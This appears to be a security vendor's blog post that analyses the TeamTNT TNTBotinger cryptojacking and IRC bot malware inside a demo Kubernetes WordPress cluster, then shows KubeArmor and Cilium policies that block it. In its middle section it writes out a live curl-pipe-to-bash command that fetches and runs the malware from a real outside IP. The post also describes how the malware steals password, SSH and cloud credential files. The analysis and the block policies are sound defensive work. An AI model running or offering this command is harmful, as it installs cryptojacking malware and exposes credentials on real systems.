Introduction

With the development of contemporary infrastructure, cryptocurrency mining has grown in popularity. It's simple to target settings like Kubernetes, since you might not even look at what the container image does and what it's behaviour with proactive monitoring. Cryptojacking is a malware strain that plunders the CPUs of infected PCs in order to steal computational power, for mining of virtual tokens such as Ethereum (ETH) and Monero (XMR). Resulting in subsequent transmission to attacker-controlled Crypto wallets.

TeamTNT, a cybercrime outfit, used an XMRig bitcoin miner to exploit open Docker APIs. TeamTNT evolved its assaults over time, obtaining Amazon Web Services (AWS) secure shell (SSH) credentials and including self-replicating behavior for propagation. TeamTNT's latest attack, which involves the use of the group's own IRC (Internet Relay Chat) bot, is discussed here. It is an IRC bot that can perform widespread denial of service attacks (DDoS).

Technical analysis and Attack Tree

The attackers must first be able to accomplish remote code execution (RCE) on the original target system in order for this attack to be successful. RCE can be performed by malicious actors by exploiting misconfiguration issues, leveraging unpatched vulnerabilities, and exploiting security shortcomings; such as weak or overused passwords and keys, or stolen credentials.

The initial propagation begins with the execution of a malicious shell script on a target workstation. The script checks for the/dev/shm/.alsp file. If the file cannot be located, the script begins its work.

1. setupmyapps() : This function installs the dependencies onto the target machine for the smooth working of the malware

2. uploadthersa() : Configurations files like RSA keys used for SSH access, Bash history, AWS and Docker configuration files, /etc group, /etc/passwd, /etc/shadow, /etc/gshadow etc are tarball'ed and uploaded to an upload server.

3. getsomelanssh() : Generates ssh IP ranges using massscan and updates .ssh/known_hosts file

4. localgo() : Makes use of the known_host file created in step 3 to attempt authentication on newly detected devices. If these efforts succeed, the same payload is installed on other machines, and the assault spreads.

The Scenario Setup

The scenario's purpose is to demonstrate how an attacker can install and run TNTBotinger in a Kubernetes environment.

Let's create a new Kubernetes cluster with default values.

gcloud container clusters create sample-cluster --zone us-central1-c

Once the cluster is ready we will deploy a WordPress application into it. For this, we have created a complete YAML for WordPress installation on Kubernetes. You can use this predefined deployment file to quickly deploy WordPress to your Kubernetes environment.

kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/wordpress-demo/k8s-wordpress.yaml

We will check whether the application is running and also get the external IP to our WordPress application.

kubectl get po -o wideNAME                            READY   STATUS    RESTARTS   AGE   IP           NODE                                        NOMINATED NODE   READINESS GATESwordpress-68f6d5cdd6-v9zs2      1/1     Running   0          47m   10.48.0.13   gke-sample-cluster-default-pool-b3c3ac79-swsv              wordpress-mysql-55556f7-vndmw   1/1     Running   0          47m   10.48.0.12   gke-sample-cluster-default-pool-b3c3ac79-swsv
kubectl get svc
NAME              TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGEkubernetes        ClusterIP      10.52.0.1                443/TCP        51mwordpress         LoadBalancer   10.52.11.155   34.121.64.210   80:30231/TCP   49mwordpress-mysql   ClusterIP      None                     3306/TCP       49m

With this, the initial setup is completed.

How does the malware work?

To know the working of the malware we will skip the initial RCE step and execute it directly inside the container. And once we are inside let's use the top command to see the normal working of our application.

kubectl exec -it wordpress-68f6d5cdd6-v9zs2 -- top
top - 17:21:22 up 59 min,  0 users,  load average: 2.01, 1.83, 1.81
Tasks:   7 total,   1 running,   6 sleeping,   0 stopped,   0 zombie
%Cpu(s): 36.8 us,  6.5 sy,  0.0 ni, 55.7 id,  0.0 wa,  0.0 hi,  0.5 si,  0.5 st
KiB Mem:   4027348 total,  2363216 used,  1664132 free,    64004 buffers
KiB Swap:        0 total,        0 used,        0 free.   940556 cached Mem

PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                        
  1 root      20   0  315076  30944  25164 S   0.0  0.8   0:00.34 apache2                                                                                        
190 www-data  20   0  315108   7688   1900 S   0.0  0.2   0:00.00 apache2                                                                                        
191 www-data  20   0  315108   7688   1900 S   0.0  0.2   0:00.00 apache2                                                                                        
192 www-data  20   0  315108   7688   1900 S   0.0  0.2   0:00.00 apache2                                                                                        
193 www-data  20   0  315124   7688   1900 S   0.0  0.2   0:00.00 apache2                                                                                        
194 www-data  20   0  315108   7688   1900 S   0.0  0.2   0:00.00 apache2                                                                                        
200 root      20   0   21924   2484   2156 R   0.0  0.1   0:00.01 top

From the data, we can see that the container only has an Apache process running. Before running the TNTBot script, let's install lsof and net-tools to gain more visibility into the container.

The podname: wordpress-68f6d5cdd6-v9zs2 will vary according to the environment

Now let's download and execute the TNTBot script.

curl -Ls http://152.67.166.153/sugarcrm/themes/default/images/Bot | bash

We will use commands like lsof -i -P -n, top, ls -la /dev/shm/ and ls -la /proc//exe to monitor activities happening post running the TNTBotinger

kubectl exec -it wordpress-68f6d5cdd6-v9zs2 -- watch -n2 lsof -i -P -n
Every 2.0s: lsof -i -P -n                                             Fri Feb 10 19:25:59 2022
COMMAND PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAMEapache2   1 root    3u  IPv4  73422      0t0  TCP *:80 (LISTEN)
tshd    727 root    0u  IPv4 118442      0t0  TCP *:51982 (LISTEN)
curl    753 root    4u  IPv4 118467      0t0  TCP 10.40.1.40:60634->152.67.166.153:80 (ESTABLISHED)
apache2   1 root    3u  IPv4  73422      0t0  TCP *:80 (LISTEN)
tshd    727 root    0u  IPv4 118442      0t0  TCP *:51982 (LISTEN)
bioset  762 root    3u  IPv4 116698      0t0  TCP *:1982 (LISTEN)
kubectl exec -it wordpress-68f6d5cdd6-v9zs2 -- top
Tasks:  19 total,   3 running,  14 sleeping,   0 stopped,   2 zombie
%Cpu(s): 68.0 us, 23.8 sy,  0.0 ni,  4.3 id,  0.0 wa,  0.0 hi,  3.7 si,  0.3 st
MiB Mem :   3933.0 total,    125.7 free,   3204.0 used,    603.2 buff/cache
MiB Swap:      0.0 total,      0.0 free,      0.0 used.    512.0 avail Mem

PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
4315 root      20   0 2432860   2.3g   3640 S  51.2  59.0   2:23.84 3
5051 root      20   0    3564    760    652 R  21.3   0.0   0:01.07 lsof
4348 root      20   0     252     24      0 R   7.3   0.0   0:04.37 3
1 root      20   0    2508    528    460 S   0.0   0.0   0:00.01 sleep
4304 root      20   0       0      0      0 Z   0.0   0.0   0:00.00 3
4329 root      20   0       0      0      0 S   0.0   0.0   0:00.00 tshd
ls -la /dev/shm/
drwxrwxrwt 2 root root  60 Feb 10 20:19 .
drwxr-xr-x 5 root root 360 Feb 10 19:59 ..
-rw-r--r-- 1 root root   9 Feb 10 20:19 .alsp
ls -la /proc/4315/exe
lrwxrwxrwx 1 root root 0 Feb 10 20:19 /proc/4315/exe -> '/memfd: (deleted)'

ls -la /proc/4329/exe
lrwxrwxrwx 1 root root 0 Feb 10 20:20 /proc/4329/exe -> /usr/bin/tshd
ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.7 315076 31228 ?        Ss   20:03   0:00 apache2 -DFOREGROUND
www-data      67  0.0  0.1 315124  7772 ?        S    20:03   0:00 apache2 -DFOREGROUND
root         101  0.0  0.0  20260  3268 pts/4    Ss+  20:06   0:00 bash
www-data     107  0.0  0.1 315108  7772 ?        S    20:06   0:00 apache2 -DFOREGROUND
root         422  0.0  0.0  20260  3244 pts/6    Ss+  20:09   0:00 bash
root         717 80.6 48.6 2432796 1960532 ?     Ssl  20:10   0:45 sbin
root         727  0.0  0.0  10284   144 ?        Ss   20:10   0:00 /usr/bin/tshd
root         752  5.3  0.0    252    28 ?        S    20:10   0:02 sbin
root         762  0.0  0.0   3192   876 ?        Ss   20:10   0:00 systemd
root        1010  0.0  0.0  17500  2036 pts/3    R+   20:11   0:00 ps -aux
ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.7 315076 31228 ?        Ss   20:03   0:00 apache2 -DFOREGROUND
www-data      67  0.0  0.1 315124  7772 ?        S    20:03   0:00 apache2 -DFOREGROUND
root         101  0.0  0.0  20260  3268 pts/4    Ss+  20:06   0:00 bash
www-data     107  0.0  0.1 315108  7772 ?        S    20:06   0:00 apache2 -DFOREGROUND
root         422  0.0  0.0  20260  3244 pts/6    Ss+  20:09   0:00 bash
root         717 80.6 48.6 2432796 1960532 ?     Ssl  20:10   0:45 sbin
root         727  0.0  0.0  10284   144 ?        Ss   20:10   0:00 /usr/bin/tshd
root         752  5.3  0.0    252    28 ?        S    20:10   0:02 sbin
root         762  0.0  0.0   3192   876 ?        Ss   20:10   0:00 systemd
root        1010  0.0  0.0  17500  2036 pts/3    R+   20:11   0:00 ps -aux

From the generated logs, we could infer that the Botinger is creating files under /dev/shm/ spawning new tshd and bioset processes, and listening to TCP ports 51982 and 1982.

The Bot is uploading /etc/files to a remote server.

tar -xf rsa.up.tar.gz

ls
etc  rsa.up.tar.gz

ls etc/
group  gshadow  hosts  passwd  shadow

Providing Runtime protection and defending against the example vulnerability with AccuKnox Opensource tools

Accuknox enables the ability to protect your workloads at run-time. Accuknox enables this by allowing you to configure policies (or auto-discover them) for application and network behavior using KubeArmor, Cilium, and Auto Policy Discovery tools

KubeArmor is open-source software that enables you to protect your cloud workload at runtime.

The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at runtime. Malicious activity can be any activity that the workload was not designed for or is not supposed to do.

Given a policy, KubeArmor can restrict the following types of behavior on your cloud workloads:

File access - allow/deny specific paths

Allow / deny Process execution / forking

Allow / Deny Establish network connections

Allow / Deny workloads to request other capabilities with the host os. Such capabilities can enable additional types of malicious behavior.

Cilium, an open source project to provide eBPF-based networking, security, and observability for cloud-native environments such as Kubernetes clusters and other container orchestration platforms.

How do we block this Cryptojacking?

Let us now block cryptojacking by enforcing a simple policy via KubeArmor and Cilium, the policy is as follows:

#KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
#To learn more about KubeArmor visit:
#https://www.accuknox.com/kubearmor/
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: ksp-teamtnt-tntbotinger-ddos-block
  namespace: default # Change your namespace
spec:
  message: "Incident! TeamTNT DDoS attempt is blocked"
  tags : ["Botnet", "TeamTNT", "RC Bot TNTBotinger", "MALWARE"]
  selector:
    matchLabels:
      app: frontend # Change your matchLabels
  process:
  severity: 1
  matchPaths:
    - path: /dev/shm/sbin
    - path: /usr/bin/tshd
    - path: /usr/bin/kube
    - path: /usr/bin/bioset
    - path: /usr/bin/apt
    - path: /usr/bin/apt-get
    - path: /usr/bin/tar
    action: Block
  file:
    severity: 2
    matchPaths:
      - path: /dev/shm/.alsp
    action: Audit
KubeArmor Policy
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
  name: "deny-malware-tntbotinger-communication"
spec:
  description: "Policy to deny tntbotinger communication over port 6697, 51982 and 1982"
  endpointSelector:
    matchLabels:
      app: wordpress
  egressDeny:
  - toPorts:
    - ports:
      - port: "6697"
        protocol: TCP
  ingressDeny:
  - toPorts:
    - ports:
      - port: "51982"
        protocol: TCP
      - port: "1982"
        protocol: TCP
Cilium Policy

The Policy: In action

You can simply take advantage of our open-source GitHub inventory, and apply policy directly from there:

kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/malware/system/ksp-teamtnt-tntbotinger-ddos-block.yaml
Apply Policy #1
kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/malware/network/cnp-deny-malware-tntbotinger-communication.yaml
Apply Policy #2

Checking the policy logs on KubeArmor

There are two ways we can check policy logs on KubeArmor.

I. Using kubearmor.log

The traditional way is all about finding the KubeArmor pod running on the same node as the application pod and executing inside it to find logs.

  1. Get the node name on which your application pod is running.
kubectl get pods -o wide

NAME                            READY   STATUS    RESTARTS   AGE   IP           NODE                                            NOMINATED NODE   READINESS GATES
wordpress-68f6d5cdd6-5dl2k      1/1     Running   0          42m   10.40.1.40   gke-sample-cluster-default-pool-e2ec07d0-nh6g   <none>           <none>
wordpress-mysql-55556f7-885lm   1/1     Running   0          94m   10.40.2.47   gke-sample-cluster-default-pool-e2ec07d0-d246   <none>           <none>
Get Pods

2. We will take the node name gke-sample-cluster-default-pool-e2ec07d0-nh6g and check for the KubeArmor pod running on it.

kubectl get po -A -lkubearmor-app=kubearmor -o wide

NAMESPACE     NAME              READY   STATUS    RESTARTS   AGE   IP              NODE                                            NOMINATED NODE   READINESS GATES
kube-system   kubearmor-47nh5   1/1     Running   1          44m   10.128.0.4      gke-sample-cluster-default-pool-e2ec07d0-lh59   <none>           <none>
kube-system   kubearmor-kpznj   1/1     Running   0          96m   10.128.15.232   gke-sample-cluster-default-pool-e2ec07d0-d246   <none>           <none>
kube-system   kubearmor-mklzw   1/1     Running   0          96m   10.128.0.6      gke-sample-cluster-default-pool-e2ec07d0-nh6g   <none>           <none>
Pod run

3. We got to know that kubearmor-mklzw pod is running on node gke-sample-cluster-default-pool-e2ec07d0-nh6g.

4. Let us execute into the pod and watch the logs and you can check the entire logs or grep it with keywords like policy name.

kubectl -n kube-system exec -it kubearmor-mklzw -- tail -f /tmp/kubearmor.log | grep -i ksp-teamtnt-tntbotinger-ddos-block | jq
Execution

5. Blocked Log Created by KubeArmor

{
  "timestamp": 1644525585,
  "updatedTime": "2022-02-10T20:43:03.536515Z",
  "hostName": "gke-sample-cluster-default-pool-e2ec07d0-nh6g",
  "namespaceName": "default",
  "podName": "wordpress-68f6d5cdd6-5dl2k",
  "containerID": "549c8dc6811bb41217a91466b354a874809a78c1c76b440fdfb420cc4394c6e4",
  "containerName": "wordpress",
  "hostPid": 9324,
  "ppid": 485,
  "pid": 526,
  "uid": 0,
  "policyName": "ksp-teamtnt-tntbotinger-ddos-block",
  "severity": "1",
  "tags": "Botnet,TeamTNT,RC Bot TNTBotinger,MALWARE",
  "message": "Incident! TeamTNT DDoS attempt is blocked",
  "type": "MatchedPolicy",
  "source": "/usr/bin/bash",
  "operation": "Process",
  "resource": "/usr/bin/chmod +x /usr/bin/tshd",
  "data": "syscall=SYS_EXECVE",
  "action": "Block",
  "result": "Permission denied"
}
Blocked Log

II. Using kArmor

kArmor is a CLI client to help manage KubeArmor. With kArmor you can get the logs in 2 steps.

  1. Download and Install kArmor CLI (if not present)
curl -sfL https://raw.githubusercontent.com/kubearmor/kubearmor-client/main/install.sh | sudo sh -s -- -b /usr/local/bin
Install Karmor

2. Enable port-forwarding for KubeArmor relay

kubectl port-forward -n kube-system svc/kubearmor 32767:32767&
Port-forwarding

3. Observing logs using kArmor cli

karmor log
Karmor

4. Blocked Log Created by kArmor

gRPC server: localhost:32767
Handling connection for 32767
Created a gRPC client (localhost:32767)
Checked the liveness of the gRPC server
Started to watch alerts
== Alert / 2022-02-10 20:34:51.013366 ==
Cluster Name: sample-cluster
Host Name: gke-sample-cluster-default-pool-e2ec07d0-nh6g
Policy Name: ksp-teamtnt-tntbotinger-ddos-block
Severity: 1
Tags: Botnet,TeamTNT,RC Bot TNTBotinger,MALWARE
Message: Incident! TeamTNT DDoS attempt is blocked
Type: MatchedPolicy
Source: /usr/bin/bash
Operation: Process
Resource: /usr/bin/chmod +x /usr/bin/tshd
Data: syscall=SYS_EXECVE
Action: Block
Result: Permission denied
Blocked Log Created by kArmor

Auto Policy Discovery for your Applications

Writing KubeArmor and Cilium (System and Network) policies simple with AccuKnox opensource. It has simplified one step further by introducing a new CLI tool for Auto Discovered Policies.

The Auto-Discovery module helps users by identifying the flow and generating policies based on it.

Discovering policies has never been easier with Auto Discovery. In two simple commands, you can set up and generate policies without having any trouble.

To auto-discover policies, execute the following command:

curl -s https://raw.githubusercontent.com/accuknox/tools/main/get_discovered_yamls.sh | bash
auto-discover policies

You should be able to see the following output.


Downloading discovered policies from pod=knoxautopolicy-74f5b5d65b-9qksd
{
  "res": "ok"
}
Got 33 cilium policies in file cilium_policies.yaml
{
  "res": "ok"
}
Got 292 kubearmor policies in file kubearmor_policies.yaml
Output of AD policies
Within seconds after installing and executing auto policy discovery tool, it generated 33 Cilium policies and 292 KubeArmor policies. These features by AccuKnox open-source enhance all the necessary policies to secure your workload, that are generated and ready to be used in a single click!

Accuknox's policy templates repository

Accuknox's policy templates are an open-source repository that also contains a wide range of attack prevention techniques including MITRE, as well as hardening techniques for your workloads. Please visit https://github.com/kubearmor/policy-templates  to download and apply policy templates.

Conclusion

Since the cloud has more computational capacity, hackers are focusing their cryptojacking assaults on cloud infrastructure using containerized platforms like Docker and Kubernetes. Despite the difficulty of detecting and mitigating a cryptojacking assault, the AccuKnox opensource tools take care of this issue.

Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Reach out to us if you are seeking additional guidance in planning your cloud security program.

Read more blogs from Cloud Security Category here.